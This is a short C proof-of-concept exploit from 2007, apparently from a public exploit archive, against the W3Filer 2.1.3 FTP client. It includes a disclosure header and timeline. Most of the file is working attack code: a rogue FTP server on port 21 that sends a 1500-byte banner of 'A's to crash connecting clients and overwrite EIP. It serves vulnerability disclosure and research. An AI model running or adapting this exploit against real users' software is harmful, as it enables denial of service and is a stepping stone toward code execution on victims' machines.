w3filer-overflow.txt

`/*  
W3Filer Buffer Overflow Vulnerability  
DoS POC  
  
r0ut3r (writ3r [at] gmail.com)  
  
Version: 2.1.3  
  
Description: If the client recieves a large banner when   
  
attempting to send a file the application will freeze,   
resulting in the user having to kill the application.   
Alternatively the application will immediately crash with  
an exception report. Either one of the above happens. The  
  
EIP is overwritten with A's. Version 3.1.3 is not vulnerable.   
  
Timeline:   
06/27/2007 - Vulnerability discovered  
06/28/2007 - Contacted vendor  
06/29/2007 - Public release  
  
This is dedicated to Jeremy Hammond  
  
http://en.wikipedia.org/wiki/Jeremy_Hammond  
*/  
  
#include <stdio.h>  
#include <stdlib.h>  
#include <string.h>  
#include <sys/types.h>  
  
#include <sys/socket.h>  
#include <netinet/in.h>  
  
#define PORT 21  
  
int s, c;  
struct sockaddr_in sock_addr;  
  
int main()  
{  
char evilbuf[1500];  
  
s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);  
  
sock_addr.sin_family = PF_INET;  
sock_addr.sin_addr.s_addr = htonl(INADDR_ANY);  
sock_addr.sin_port = htons(PORT);  
  
bind(s, (struct sockaddr *)&sock_addr, sizeof(sock_addr));  
printf("[+] Listening...\n");  
  
  
listen(s, 5);  
printf("[*] Waiting for client\n");  
  
c = accept(s, NULL, NULL);  
printf("[!] Client connected\n");  
  
memset(evilbuf,'A',1500);  
memcpy(evilbuf,"220 ",4);  
  
memcpy(evilbuf+1497,"\r\n\0",3);  
printf("[+] Attempting buffer overflow\n");  
  
if (send(c, evilbuf, strlen(evilbuf), 0) == -1)  
{  
printf("[-] Error sending..\n");  
return 1;  
  
}  
  
printf("[+] Sent! did it crash?\n");  
return 0;  
}  
  
`